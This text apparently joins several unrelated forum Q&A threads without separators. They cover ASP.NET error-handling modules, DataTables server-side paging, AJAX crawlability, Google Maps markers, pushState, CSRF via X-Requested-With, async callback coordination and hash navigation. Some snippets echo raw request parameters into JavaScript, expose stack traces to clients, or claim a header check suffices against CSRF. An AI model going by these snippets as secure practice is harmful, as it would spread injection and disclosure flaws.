_writeExceptionJsonString = _restHandlerType.GetMethod("WriteExceptionJsonString", BindingFlags.NonPublic | BindingFlags.Static, null, new[] { typeof(HttpContext), typeof(Exception) }, null);
_webServiceMethodData = _restHandlerType.GetField("_webServiceMethodData", BindingFlags.NonPublic | BindingFlags.Instance | BindingFlags.GetField);
}
public bool IsReusable
{
get { return true; }
}
public void ProcessRequest(HttpContext context)
{
var restHandler = _createHandler.Invoke(null, new Object[] { context });
var methodData = _webServiceMethodData.GetValue(restHandler);
var rawParams = _getRawParams.Invoke(null, new[] { methodData, context });
try
{
_invokeMethod.Invoke(null, new[] { context, methodData, rawParams });
}
catch (Exception ex)
{
while (ex is TargetInvocationException)
ex = ex.InnerException;
// Insert Custom Error Handling HERE...
_writeExceptionJsonString.Invoke(null, new Object[] { context, ex});
}
}
}
}
Have you taken a look at WCF Web API? This is currently in beta, but it is already being used in several live sites. Exposing json/xml rest api's is very easy. In it you can create your own HttpErrorHandler derived class to handle errors. It is a very clean solution. Might be worth taking a closer look for you. Migrating any existing service should also be straightforward. Hope it helps!
Edit
Did you try to turn the error handling off in web.config and then adding an error module?
<location path="Webservices" >
<system.web>
<customErrors mode="Off" />
</system.web>
</location>
Normal error handling as I think it should be even for the RestHandler
You can create a HttpModule to catch all errors and return custom result. Note that this will error message will be the response to the client instead of the expected result from the web service. You can also throw any custom exception in the application and let the module handle it if the client is to respond or notify the user to it.
Example result of correct execution:
{
success: true,
data: [ .... ],
error: null
}
Example result of failed execution:
{
success: false,
data: null,
error: {
message: 'error message',
stackTrace: 'url encoded stack trace'
}
}
Add this to the web.config:
<modules>
<add name="UnhandledException" type="Modules.Log.UnhandledException"/>
</modules>
You can easily add code to make the module self-register by implementing the pretty undocumented PreApplicationStartMethod function in the module and create and use your custom HttpApplication class to use instead of the standard one. By doing that you can add any module to the application by just adding it to the bin-folder of the application. It's the way I do all my apps currently and I must say that it works perfectly.
Below code will catch all application errors and return a html response with the error message (you'll need to replace the html stuff with your own json error message implementation):
using System.Web;
namespace Modules.Log
{
using System;
using System.Text;
public class LogModule : IHttpModule
{
private bool initialized = false;
private object initLock = new Object();
private static string applicationName = string.Format("Server: {0}; [LogModule_AppName] installation name is not set", System.Environment.MachineName);
public void Dispose()
{
}
public void Init(HttpApplication context)
{
// Do this one time for each AppDomain.
if (!initialized)
{
lock (initLock)
{
if (!initialized)
{
context.Error += new EventHandler(this.OnUnhandledApplicationException);
initialized = true;
}
}
}
}
private void OnUnhandledApplicationException(object sender, EventArgs e)
{
StringBuilder message = new StringBuilder("<html><head><style>" +
"body, table { font-size: 12px; font-family: Arial, sans-serif; }\r\n" +
"table tr td { padding: 4px; }\r\n" +
".header { font-weight: 900; font-size: 14px; color: #fff; background-color: #2b4e74; }\r\n" +
".header2 { font-weight: 900; background-color: #c0c0c0; }\r\n" +
"</style></head><body><table><tr><td class=\"header\">\r\n\r\nUnhandled Exception logged by LogModule.dll:\r\n\r\nappId=");
string appId = (string)AppDomain.CurrentDomain.GetData(".appId");
if (appId != null)
{
message.Append(appId);
}
message.Append("</td></tr>");
HttpServerUtility server = HttpContext.Current.Server;
Exception currentException = server.GetLastError();
if (currentException != null)
{
message.AppendFormat(
"<tr><td class=\"header2\">TYPE</td></tr><tr><td>{0}</td></tr><tr><td class=\"header2\">REQUEST</td></tr><tr><td>{3}</td></tr><tr><td class=\"header2\">MESSAGE</td></tr><tr><td>{1}</td></tr><tr><td class=\"header2\">STACK TRACE</td></tr><tr><td>{2}</td></tr>",
currentException.GetType().FullName,
currentException.Message,
currentException.StackTrace,
HttpContext.Current != null ? HttpContext.Current.Request.FilePath : "n/a");
server.ClearError();
}
message.Append("</table></body></html>");
HttpContext.Current.Response.Write(message.ToString());
server.ClearError();
}
}
}
Problem:
Solution:
public class Data : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
// Paging parameters:
var iDisplayLength = int.Parse(context.Request["iDisplayLength"]);
var iDisplayStart = int.Parse(context.Request["iDisplayStart"]);
// Sorting parameters
var iSortCol = int.Parse(context.Request["iSortCol_0"]);
var iSortDir = context.Request["sSortDir_0"];
// Search parameters
var sSearch = context.Request["sSearch"];
// Fetch the data from a repository (in my case in-memory)
var persons = Person.GetPersons();
// Define an order function based on the iSortCol parameter
Func<Person, object> order = person => iSortCol == 0 ? (object) person.Id : person.Name;
// Define the order direction based on the iSortDir parameter
persons = "desc" == iSortDir ? persons.OrderByDescending(order) : persons.OrderBy(order);
// prepare an anonymous object for JSON serialization
var result = new
{
iTotalRecords = persons.Count(),
iTotalDisplayRecords = persons.Count(),
aaData = persons
.Where(p => p.Name.Contains(sSearch)) // Search: Avoid Contains() in production
.Where(p => p.Id.ToString().Contains(sSearch))
.Select(p => new[] {p.Id.ToString(), p.Name})
.Skip(iDisplayStart) // Paging
.Take(iDisplayLength)
};
var serializer = new JavaScriptSerializer();
var json = serializer.Serialize(result);
context.Response.ContentType = "application/json";
context.Response.Write(json);
}
public bool IsReusable { get { return false; } }
}
public class Person
{
public int Id { get; set; }
public string Name { get; set; }
public static IEnumerable<Person> GetPersons()
{
for (int i = 0; i < 57; i++)
{
yield return new Person { Id = i, Name = "name " + i };
}
}
}
I wrote a simple example that should illustrate the idea.
Start by writing a generic handler for handling data on the server side (Data.ashx but this could be a web page, web service, anything server side script capable of returning JSON formated data):
public class Data : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
// Those parameters are sent by the plugin
var iDisplayLength = int.Parse(context.Request["iDisplayLength"]);
var iDisplayStart = int.Parse(context.Request["iDisplayStart"]);
var iSortCol = int.Parse(context.Request["iSortCol_0"]);
var iSortDir = context.Request["sSortDir_0"];
// Fetch the data from a repository (in my case in-memory)
var persons = Person.GetPersons();
// Define an order function based on the iSortCol parameter
Func<Person, object> order = p =>
{
if (iSortCol == 0)
{
return p.Id;
}
return p.Name;
};
// Define the order direction based on the iSortDir parameter
if ("desc" == iSortDir)
{
persons = persons.OrderByDescending(order);
}
else
{
persons = persons.OrderBy(order);
}
// prepare an anonymous object for JSON serialization
var result = new
{
iTotalRecords = persons.Count(),
iTotalDisplayRecords = persons.Count(),
aaData = persons
.Select(p => new[] { p.Id.ToString(), p.Name })
.Skip(iDisplayStart)
.Take(iDisplayLength)
};
var serializer = new JavaScriptSerializer();
var json = serializer.Serialize(result);
context.Response.ContentType = "application/json";
context.Response.Write(json);
}
public bool IsReusable
{
get
{
return false;
}
}
}
public class Person
{
public int Id { get; set; }
public string Name { get; set; }
public static IEnumerable<Person> GetPersons()
{
for (int i = 0; i < 57; i++)
{
yield return new Person
{
Id = i,
Name = "name " + i
};
}
}
}
And then a WebForm:
<%@ Page Title="Home Page" Language="C#" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head id="Head1" runat="server">
<title></title>
<link rel="stylesheet" type="text/css" href="/styles/demo_table.css" />
<script type="text/javascript" src="/scripts/jquery-1.4.1.js"></script>
<script type="text/javascript" src="/scripts/jquery.dataTables.js"></script>
<script type="text/javascript">
$(function () {
$('#example').dataTable({
'bProcessing': true,
'bServerSide': true,
'sAjaxSource': '/data.ashx'
});
});
</script>
</head>
<body>
<form id="Form1" runat="server">
<table cellpadding="0" cellspacing="0" border="0" class="display" id="example">
<thead>
<tr>
<th>ID</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td colspan="5" class="dataTables_empty">Loading data from server</td>
</tr>
</tbody>
</table>
</form>
</body>
</html>
The example is oversimplified but I hope it will illustrate the basics on how to get stared.
The example pages you listed actually sort, paginate, filter on initialization. Basically, you pass those data via query string.
Something like:
sAjaxSource": "../examples_support/server_processing.ashx?SortBy=FirstName&FilterBy=StackOverFlow"
Having said that, if you want to override some behavior or want to extend dataTable's functionaly, you have a few options: Extending dataTable functionality Customizing Scrolling
You can follow the above examples and customize them for Filtering, Sorting, and Pagination
I'm asp.Net developer... Please take in mind that .net developers are used to build web pages using .net controls, not javascript controls.
The difference is: an asp.net control is a server-side control, you manage it without writing javascript your self, but programming in C#/VB.net. The asp.net control automatically generates the client-side javascript control when the website runs.
It approach is more "modern" and really powerful.
So if you are a .net developer I suggest you to use this approach. If you are a javascript developer and you are building only the client-side interface of your application, probably you need a webService that provides the server-side data in XML format that you can call and read over HTTP. But, to "search", provide "pagination" and "sorting" via AJAX you need to develop server-side...
Maybe this could help? http://www.codeproject.com/KB/aspnet/ASPNET_DataTable_to_JSON.aspx
http://naspinski.net/post/REAL-AJAX-with-AspNet-(not-AspNet-AJAX).aspx
This guy has made ajax work with asp.net and datatables.
Real World Problem:
I have my app hosted on Heroku, who (to my knowledge) are unable to offer a solution for running a Headless (GUI-less) Browser - such as HTMLUnit - for generating HTML Snapshots for Googlebot to index my AJAX content.
My Proposed Solution:
If you haven't already, I suggest reading Google's Full Specification for Making AJAX Applications Crawlable.
Imagine I have:
http://example.comhttp://example.com#!tab=TabA&subtab=SubTab3 then client-side Javascript takes the location.hash and loads in TabA, SubTab3 content via AJAX.Note: the Hash Bang (#!) is part of the google spec.
I would like to build a simple "web service" hosted on Google App Engine (GAE) that:
http://htmlsnapshot.appspot.com?url=http://example.com#!tab=TabA&subtab=SubTab3 (url param should be URLEncoded)http://example.com#!tab=TabA&subtab=SubTab3 and run the client-side javascript on the sever.My http://example.com app would need to manage the call to http://htmlsnapshot.appspot.com... basically:
http://example.com/?_escaped_fragment_=tab=TabA%26subtab=SubTab3 (googlebot crawler escapes certain characters e.g. %26 = &).http://htmlsnapshot.appspot.com?url=http://example.com#!tab=TabA&subtab=SubTab3 (url param should be URLEncoded)I don't have any experience with Google App Engine or Java or HTMLUnit.
I might be able to figure it out... and will post my results if I do.
Otherwise I feel this is a VERY good opportunity for someone to write a kick-ass blog post that outlines a novices step-by-step guide to setting up a web service like this.
This will introduce more people to the excellent (and free!) Google App Engine. Also it will undoubtably encourage more people to adopt Google's specs for crawlable AJAX content... something we can all benefit from!
As Google's specification gains more acceptance the "hurdle" of setting up a Headless Browser is going to send many devs Googling for answers! Get in now with an answer for fame and glory! (edit: at the very least I will sing your praises).
Hit me up on twitter @_chrisjacob if you would like to discuss solutions.
I have successfully used HTMLunit on AppEngine. My GWT code to do this is available in the gwt-platform project the results I got were similar to that of the HTMLunit-AppEngine test application by Amit Manjhi.
It should be relatively easy to use GWTP current HTMLunit support to do exactly what you describe, although you could likely do it in a simpler app. One problem I see is that AppEngine requests have a 30 second timeout, so you can't have a page that takes HTMLunit longer than that to process.
UPDATE: It's been a while, but I finally closed the long standing issue about making GWT applications crawlable using GWTP. The documentation is not entirely there, but check out the issue: http://code.google.com/p/gwt-platform/issues/detail?id=1
My question is how is it that you do step number one in your solution: catch the googlebot call? I'm not using a framework, I am running an ajax application on apache. The only thing I could come up with so far was to run a reverse proxy and do a check on every incoming url.. Is there an easier way?
I am turning in circles and are hoping for some clarification by you guys ...
1) I have a site, using jQuery and a Google Maps Plugin.
This all works perfectly and I get my markers set right and I really like this solution. This is how it looks like:
<script type="text/javascript" src="http://www.google.com/jsapi?key=MyGmapKey"></script>
<script type="text/javascript">
google.load("jquery", '1.3');
google.load("maps");
</script>
<script type="text/javascript" src="/code/js/jquery.gmap-1.1.0-min.js"></script>
<script type="text/javascript" charset="utf-8">
$(document).ready(function(){
$("#map1").gMap(
{
latitude: 48.7,
longitude: 13.4667,
zoom: 9,
markers: [{latitude: 48.461117, longitude: 13.418795, html: "MY Info Box 1"},
{latitude: 48.531602, longitude: 12.942087, html: "Another Info Box"},
{latitude: 48.198242, longitude: 13.536017, html: "Guess what? Thgis is INFO Text!"},
{latitude: 48.325327094, longitude: 14.0712547302, html: "INFO"},
{latitude: 48.7, longitude: 13.4667,icon: { image: "images/My_Position.png", iconsize: [20, 34], iconanchor: [5, 34], infowindowanchor: [5, 2], infoshadowanchor: [14, 25] }, html: "Your current position: 48.7 | 13.4667, Germany"}],
controls: ["GSmallZoomControl3D", "GMapTypeControl"],
scrollwheel: true,
maptype: G_HYBRID_MAP,
html_prepend: '<div class="gmap_marker">',
html_append: '</div>',
icon:
{
image: "images/gmap_pin.png",
shadow: false,
iconsize: [19, 21],
shadowsize: false,
iconanchor: [4, 19],
infowindowanchor: [8, 2]
}
});
</script>
<style type="text/css" media="screen">
#map1{ float:left; width:500px; height:500px; overflow:hidden; margin: 20px; }
.gmap_marker { font-family:Geneva, Arial, Helvetica, sans-serif; color:#0000CC; }
</style>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"></head>
<body>
<div id="map1"></div>
</body>
</html>
Now my problem: I added a "onmoveend" function, that will get new "marker" data from an external file. All works great, just the markers are not displaying right, only the LAST Item will be displayed. I'd bet it's only a small thing, but I am lost right now ....
Here's what I do:
2) I added this Script:
if (GBrowserIsCompatible())
{
var map = $gmap;
var center = new GLatLng(<?=$_GET['lat']?>,<?=$_GET['lon']?>);
GEvent.addListener(map, "moveend", function()
{
map.clearOverlays();
var center = map.getCenter();
var marker = new GMarker(center, {draggable: true});
map.addOverlay(marker);
var lat = center.lat();
var lng = center.lng();
document.getElementById("lat").value = lat;
document.getElementById("lng").value = lng;
GEvent.addListener(marker, "dragend", function()
{
var point=marker.getPoint();
map.panTo(point);
var lat = point.lat();
var lng = point.lng();
document.getElementById("lat").value = lat;
document.getElementById("lng").value = lng;
});
$.getJSON('loader.php', { lat: lat, lng: lng, rad: <?=$rad?>} , function(data) {
$("#map").gMap(
{
latitude: lat,
longitude: lng,
zoom: 9,
markers: [data],
controls: ["GSmallZoomControl3D", "GMapTypeControl"], //"GScaleControl",
scrollwheel: true,
maptype: G_HYBRID_MAP,
html_prepend: '<div class="gmap_marker">',
html_append: '</div>',
icon:
{
image: "images/gmap_pin.png",
shadow: false,
iconsize: [19, 21],
shadowsize: false,
iconanchor: [4, 19],
infowindowanchor: [8, 2]
}
});
});
});
and some html:
<div id="map" style="float:left; width:500px; height:500px; overflow:hidden; margin: 20px;"></div>
Current coordinates: <br>
<b>Latitude:</b> <input type="text" size="34" name="latitude" value="" id="lat" /><br>
<b>Longitude:</b><input type="text" size="34" name="longitude" value="" id="lng" />
If you move the the first map, I display a second map which "should" hold the new markers returned by the loader.php.
loader.php: It's getting the new "close to me" entries from the database and than "builds" the string similar to the one used in sample 1)
Here's what it looks like:
$MyNewPositionMarker.='{latitude: '. $_GET['lat'].', longitude: '. $_GET['lng'].', html: "'.$html.'"},' ;
//getting database results while
while($row = mysql_fetch_assoc($result))
{
$markers.='{latitude: '.$row['odin_facility_lat'].', longitude: '.$row['odin_facility_lon'].', html: "'.$html.'"},' ;
}
echo $markers.$MyNewPositionMarker
The values that are returned by loader.php "look" exactly what they should look like as per Sample 1).
I guess, my problem is to do with
$.getJSON and some kind of "encode/decode" problem, but I spent all night, tried back and forth ("normal $.get"), different return formats in loader.php, but all NOT succeeding.
Right now it looks ok, but unfortunately I just get the LAST marker set on my map. The JQuery Plugin, that is "setting" the markers can be found here: http://gmap.nurtext.de/js/jquery.gmap-1.1.0.js
This is juste a Copy / Paste of the solution in the comment to remove the question from the "unanswered" list
It is only a small thing in Loader.php:
echo "[".$markers.$MyNewPositionMarker."]";
//and removed the [] at the position when loading the new map: WRONG... markers: [data], ... RIGHT: ... markers: data, ...
I either dreamt about chrome (dev channel) implementing a way to update the address bar via javascript (the path, not domain) without reloading the page or they really have done this...
However...I can't find the article I think I read.
Am I crazy or is there a way to do this [in chrome]?
p.s. I'm not talking about window.location.hash (et al)...basically if the above exists the answer to this question will be untrue.
Found it!
Read all about it here: http://www.spoiledmilk.dk/blog/?p=1922. For a more in-depth look into pushState/replaceState/popstate go here: (https://developer.mozilla.org/en/DOM/Manipulating_the_browser_history).
and the code:
window.history.pushState("object or string", "Title", "/new-url");
I was pretty sure the answer is no, but I scanned through the last month of dev-channel CLs to confirm ? you cannot.
I'm working on a completely ajax-driven application where all requests pass through what basically amounts to a main controller which, at its bare bones, looks something like this:
if(strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest') {
fetch($page);
}
Is this generally sufficient to protect against cross-site request forgeries?
It's rather inconvenient to have a rotating token when the entire page isn't refreshed with each request.
I suppose I could pass and update unique token as a global javascript variable with every request -- but somehow that feels clumsy and seems inherently unsafe anyway.
EDIT - Perhaps a static token, like the user's UUID, would be better than nothing?
EDIT #2 - As The Rook pointed out, this might be a hair-splitting question. I've read speculation both ways and heard distant whispers about older versions of flash being exploitable for this kind of shenanigans. Since I know nothing about that, I'm putting up a bounty for anyone who can explain how this is a CSRF risk. Otherwise, I'm giving it to Artefacto. Thanks.
I'd say it's enough. If cross-domain requests were permitted, you'd be doomed anyway because the attacker could use Javascript to fetch the CSRF token and use it in the forged request.
A static token is not a great idea. The token should be generated at least once per session.
EDIT2 Mike is not right after all, sorry. I hadn't read the page I linked to properly. It says:
A simple cross-site request is one that: [...] Does not set custom headers with the HTTP Request (such as X-Modified, etc.)
Therefore, if you set X-Requested-With, the request has to be pre-flown, and unless you respond to pre-flight OPTIONS request authorizing the cross-site request, it won't get through.
EDIT Mike is right, as of Firefox 3.5, cross-site XMLHttpRequests are permitted. Consequently, you also have to check if the Origin header, when it exists, matches your site.
if (array_key_exists('HTTP_ORIGIN', $_SERVER)) {
if (preg_match('#^https?://myserver.com$#', $_SERVER['HTTP_ORIGIN'])
doStuff();
}
elseif (array_key_exists('HTTP_X_REQUESTED_WITH', $_SERVER) &&
(strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'))
doStuff();
Short answer : no. Any attacker would just use Ajax himself to attack your website. You should generate a random token with a short but not too much lifetime which you would update during each ajax request.
You'd have to use an array of tokens in javascript as you may have multiple ajax request running at the same time.
I do not believe that this is safe. The same origin policies are designed to prevent the documents from different domains from accessing the content that is returned from a different domain. This is why XSRF problems exist in the first place. In general XSRF doesn't care about the response. It is used to execute a specific type of request, like a delete action. In the simplest form, this can be done with a properly formatted img tag. Your proposed solution would prevent this simplest form, but doesn't protect someone from using the XMLHttp object to make the request. You need to use the standard prevention techniques for XSRF. I like to generate a random number in javascript and add it to the cookie and a form variable. This makes sure that the code can also write cookies for that domain. If you want more information please see this entry.
Also, to pre-empt the comments about XMLHttp not working in script. I used the following code with firefox 3.5 to make a request to google from html running in the localhost domain. The content will not be returned, but using firebug, you can see that the request is made.
<script>
var xmlhttp = false;
if (!xmlhttp && typeof XMLHttpRequest != 'undefined') {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp = false;
}
}
if (!xmlhttp && window.createRequest) {
try {
xmlhttp = window.createRequest();
} catch (e) {
xmlhttp = false;
}
}
xmlhttp.open("GET", "http://www.google.com", true);
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4) {
alert("Got Response");
alert(xmlhttp.responseText)
}
}
xmlhttp.send(null)
alert("test Complete");
What you are doing is secure because xmlhttprequest is usually not vulnerable to cross-site request forgery.
As this is a client side problem, the safest way would be to check the security architecture of each browser :-)
(This is a summary; I am adding this answer because this question is very confusing, let's see what the votes say)
I do not think this offers any kind of protection. An attacking site could still use xmlhttprequest for its cross-site request bypass your check.
I want to get two resources using two asynch calls. I want to proceed only when both resources have been retrieved.
How can I do this elegantly in JS?
This would work:
getStuff1(function (result1) {
getStuff2 (function (result2) {
// do stuff with result1 and result2
....
}
}
but stuff2 only starts after stuff1 completes. I'd prefer to start stuff2 while waiting on stuff1.
If you know that functions are in fact first-class objects in Javascript, you can come up with a fairly elegant solution.
Without any extra objects, or global variables.
function callback1() {
callback1.done = true;
commonCallback();
}
function callback2() {
callback2.done = true;
commonCallback();
}
function commonCallback() {
if (callback1.done && callback2.done) {
// do stuff, since you know both calls have come back.
}
}
Why is this so elegant? Because you've encapsulated the data, your scope is free from useless variables and the code is more readable than ever. How cool is that? :)
UPDATE
And if you want a bit more general solution you may try the following:
function callback() {
callback.number -= 1;
if (callback.number === 0) {
// do stuff since all calls finished
callback.last();
}
}
callback.newQueue = function(num, last) {
callback.number = num;
callback.last = last;
}
// EXAMPLE USAGE
// our last function to be invoked
function afterEverythingDone(){ alert("done"); }
// create a new callback queue
callback.newQueue(3, afterEverythingDone);
// as time passes you call the callback
// function after every request
callback();
callback();
callback();
// after all call is finished
// afterEverythingDone() executes
Awesomeness again :)
One way is to use the same callback for both requests and proceed when both are complete:
var requestStatus = {
fooComplete: false,
barComplete: false
};
function callback(data) {
if (isFoo(data)) {
requestStatus.fooComplete = true;
} else if (isBar(data)) {
requestStatus.barComplete = true;
}
if (requestStatus.fooComplete && requestStatus.barComplete) {
proceed();
}
}
getAsync("foo", callback);
getAsync("bar", callback);
You'll probably want to flesh this out into a class.
Edit: added the async calls for clarity
You could have the callback function for each one indicate that their respective request has come back, and then execute the same common function. To illustrate:
var call1isBack = false;
var call2isBack = false;
function call1Callback() {
call1isBack = true;
commonCallback();
}
function call2Callback() {
call2isBack = true;
commonCallback();
}
function commonCallback() {
if (call1isBack && call2isBack) {
// do stuff, since you know both calls have come back.
}
}
Use a common callback handler with a counter that only allows passage into the "actual" processing section after the counter meets or exceeds the number of pending requests:
var commonHandler = (function() {
var counter=0, pendingCalls=2;
return function() {
if (++counter >= pendingCalls) {
// Do the actual thing...
}
}
})();
makeAjaxCall({args:args1, onComplete:commonHandler});
makeAjaxCall({args:args2, onComplete:commonHandler});
Using a closure around the anonymous function lets you avoid using a global variable for the counter.
Here's a snippet from a concurrent library I'm working on. All you need to do is instantiate a new Concurrent.Counter with the number of requests to await (before you execute them), and the callback to execute when they have finished. Before each of the asynchronous functions returns, have it call the decrement() method of the counter; once the counter has been decremented the number of times specified, the callback will be executed:
// Ensure the existence of the "Concurrent" namespace
var Concurrent = Concurrent || {};
/**
* Constructs a new Concurrent.Counter which executes a callback once a given number of threads have
* returned. Each Concurrent.Counter instance is designed to be used only once, and then disposed of,
* so a new one should be instantiated each additional time one is needed.
*
* @param {function} callback The callback to execute once all the threads have returned
* @param {number} count The number of threads to await termination before executing the callback
*/
Concurrent.Counter = function(callback, count) {
/**
* Decrements the thread count, and executes the callback once the count reaches zero.
*/
this.decrement = function() {
if (!(-- count)) {
callback();
}
};
};
// The number of asynchronous requests to execute
var requests = 10,
// Executes a callback once all the request tasks have returned
counter = new Concurrent.Counter(function() {
// this will be executed once the tasks have completed
}, requests),
// Tracks the number of requests made
i;
for (i = 0; i < requests; i ++) {
setTimeout(function() {
/*
* Perform an asynchronous task
*/
// Decrement the counter
counter.decrement();
}, 0);
}
I use PingPong class to do this. For example:
var pp = new PingPong();
pp.ping(2, function() {
// do stuff after works A and B are done
});
$.getJSON('./A.json', function(A) {
// do work A
pp.pong();
});
$.getJSON('./B.json', function(B) {
// do work B
pp.pong();
});
This is written off the top of my head, but it should work.
function createCoordinator(onFinish) {
var count = 0;
return function (callback) {
count++;
return function () {
if (callback.apply(this, arguments))
count--;
if (count == 0)
onFinish();
}
}
}
var coordinate = createCoordinator(function () { alert('done!') });
// Assume sendAJAX = function (url, onreadystatechange)
sendAJAX('url1', coordinate(function () {
if (this.readyState != 4)
return false; // Return false if not done
alert('Done with url1!');
return true;
}));
sendAJAX('url2', coordinate(function () {
if (this.readyState != 4)
return false; // Return false if not done
alert('Done with url2!');
return true;
}));
What I want is to have links which change a part of the page , and a dynamic URL for it, where I can specify variables such like #calendar=10_2010tabview=tab2
Check this for an exact example: CLICK HERE FOR EXACT DEMO
So here is the link format what I need:
#calendar=10_2010&tabview=tab2
I need to have variables in the links like calendar and tabview so I can change multiple things on a single page without realoading.
Or another format such like on http://www.wbhomes.com.au , this is exactly what I want, however the first format is good too but this is much more beautiful.
http://wbhomes.com.au/#/propertiesforsale/houseandland/quinnsbeach-waterland1Requirements
Needs to be accessed from anywhere from example a mail, or if I just write in the url bar.
The link should be in the history, so if If I push the back or forward button the page needs to be accessed.
Page refresh needs to work too.
Some recources:
Examples:
www.facebook.com - the sidebar links on your profile page
www.wbhomes.com.au/ - 100% close to what I want
Some Tutorials:
Please help me! I've never found any solution to do this, but I don't want to use jquery or any API, or any library, I want to have a working Javascript/AJAX and PHP script.
For the demo linked in your question, achieving that functionality is actually really simple - as it doesn't use any AJAX at all (when you start to add AJAX to the mix, it get's more difficult - explained later). To achieve that functionality you would; upgrade your links to use hashes, then bind into the hashchange event. Unfortunately the hashchange event is not cross-browser compatible, though luckily there are many "history/remote plugins" available - our preferred one over the years has proven to be jQuery History, it's open-source, got great support and is actively developed :-).
Although, when it comes to adding AJAX functionality to the mix like such sites as Facebook, WBHomes and Balupton.com then you will start to face a whole series of seriously difficult problems! (I know as I was the lead architect for the last two sites!). Some of these problems are:
The only open-source and reliable project I know of which tries to solve all those extremely difficult problems mentioned has proven to be jQuery Ajaxy. It's effectively an extension to the jQuery History project mentioned before, providing a nice elegant high level interface to add AJAX functionality to the mix to take care of those difficult problems behind the scenes so we don't have to worry about them. It's also the chosen solution used in the last few commercial sites mentioned earlier.
Good luck, and if you have any further questions then just post a comment on this answer and I'll get to it asap :-)
Update: There is now the HTML5 History API (pushState, popState) which deprecates the HTML4 hashchange functionality. History.js is now the sucessor to jQuery History and provides cross-browser compatibility for the HTML5 History API and an optional hashchange fallback for HTML4 browsers. jQuery Ajaxy will be upgraded for History.js
Szevasz.. :)
HTML
<a href="/bye.php?user=abc&page=messages"
onclick="return goToWithAjax(this);">bye</a>
Javascript
function goToWithAjax(hash) {
hash = hash.href ? hash.getAttribute("href", 2) : hash;
ajax( hash, function( response ) {
document.getElementById("content").innerHTML = response;
});
hash = ("#!/" + hash).replace("//","/");
window.location.hash = hash;
return false;
}
//////////////////////////////////////////////////////////////////////////////
function getXmlHttpObject() {
var xmlHttp;
try {
xmlHttp = new XMLHttpRequest();
} catch (e) {
try {
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
function ajax(url, onSuccess, onError) {
var xmlHttp = getXmlHttpObject();
xmlHttp.onreadystatechange = function () {
if (this.readyState == 4) {
// onError
if (this.status != 200) {
if (typeof onError == 'function') {
onError(this.responseText);
}
}
// onSuccess
else if (typeof onSuccess == 'function') {
onSuccess(this.responseText);
}
}
};
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
return xmlHttp;
}?
I think you can do that very easily using the onHashChange event present in HTML5 or using a JavaScript library that emulates that "hash" behavior in browsers that doesn't have full HTML 5 support. One such library might be MooTools onhashchange, but there are many others too.
Than if you have a HTML 5 aware browser, or such library that emulates the behavior just use:
CorMVC Jquery Framework is done in that way, it is opensource you can dig into source and get the logic from it.
And actually it is pretty straight forward. The creator tells it nicely on this video below.
http://www.bennadel.com/resources/jing/2009-12-21_0933.swf
PS sorry can't post second link bc i'm a new user.
This is something that eludes most new AJAXian developers. It is though a rather simple issue to solve.
first thing you will need is the the jQuery core which is free at jquery.com
next you will need the jQuery hash change even plugin by Ben Alman which you can find here: http://benalman.com/projects/jquery-hashchange-plugin/ You won't need this for newer versions of browsers that support the html5 hashchange event but you will for older versions of browsers. you don't have to do anything but include this script in your page, it handles the rest.
now for your links you will need to construct them in a query string fashion like so:
<a href="user.php?q=/topic/article" class="dynlnk">Link Text/Image</a>
now you have links that go to pages and can be handled in php in case javascript is turned off. all you have to do is use the super global $_GET and parse the query string to handle page content.
now in your javascript on the page you will need make your links trigger hashchange. You can do that by replacing the ?q= with a # like this.
$(".dynlnk").each(function(){
$(this).attr("href", $(this).attr("href").replace("?q=", "#"));
});
now your links will trigger the hashchange, the only thing left to do is bind the hashchange to a function that does something. This can be done very simply with jQuery like this:
$(window).bind( 'hashchange', function(e){
//this splits the part after the hash so you can handle the parts individually.
//to handle them as one just use location.hash
pageparts = location.hash.split("/");
});
Now just add what ever code you do to handle your ajax and content.
now you just need one last bit of javascript to trigger the hashchange in case the page was loaded with a hash to begin with so you just call the windows trigger function when the page loads
$(window).trigger( 'hashchange' );
Hopefully this is clear enough, if not, don't hesitate to contact me to ask more questions.
Using hash links allows for bookmarkable/sharable links to trigger JavaScript code, instead of reloading the page. Ben Almans jQuery hashchange event allows you to bind an event handler to the hashchange event, this plugin works with older browsers that don't support this normally. An event handler bound to hashchange can read the hash part of the url, and call any function.
// register event handler
function bindHashchange() {
$(window).bind('hashchange', function(event) {
event.preventDefault();
var label = location.hash.substring(1);
handleLabel(label);
});
// trigger event so handler will be run when page is opened first time
// otherwise handler will only run when clicking on hash links
$(window).trigger('hashchange');
}
// read and handle hash part of url
function handleLabel(label) {
if ( label.length > 0 ) {
// using label from url
switchPage(label);
} else {
// use the default label, if no hash link was present
switchPage('start');
}
}
// in this case, load hidden <div>'s into a <div id="content">
function switchPage(label) {
if ( label == 'start ) {
$('div#content').html($('div#start'));
} else if ( label == 'some_other_page' ) {
// do something else
}
}
This other event handler can process 2 arguments separated by a dot ('.') in the same url.
function processHash() {
var str = location.hash.substring(1);
var pos = $.inArray('.', str);
var label = '';
var arg = '';
if ( pos > -1 ) {
label = str.substring(0, pos);
} else {
label = str.substring(0);
}
if ( pos > 1 ) {
arg = str.substring(pos+1);
}
if ( label.length == 0 ) {
// the default page to open of label is empty
loadContent('start');
} else {
// load page, and pass an argument
loadContent(label, arg);
}
}
If regular expressions are used, any combination of characters can be parsed.
var registry = {};
// split on character '.'
var args = label.split(/\./g);
for ( i in args ) {
var arg = args[i];
// split on character '='
var temp = arg.split('=');
var name = temp[0];
var value = temp[1];
// store argument in registry
registry[name] = value;
}
// registry is loaded, ready to run application that depends on arguments
This will transform the url:
mysite/#company.page=items.color=red
Into the following JavaScript Object:
Object { company=undefined, page="items", color="red"}
Then it is only a matter of running jQuery's show() or hide() functions on your selected elements.
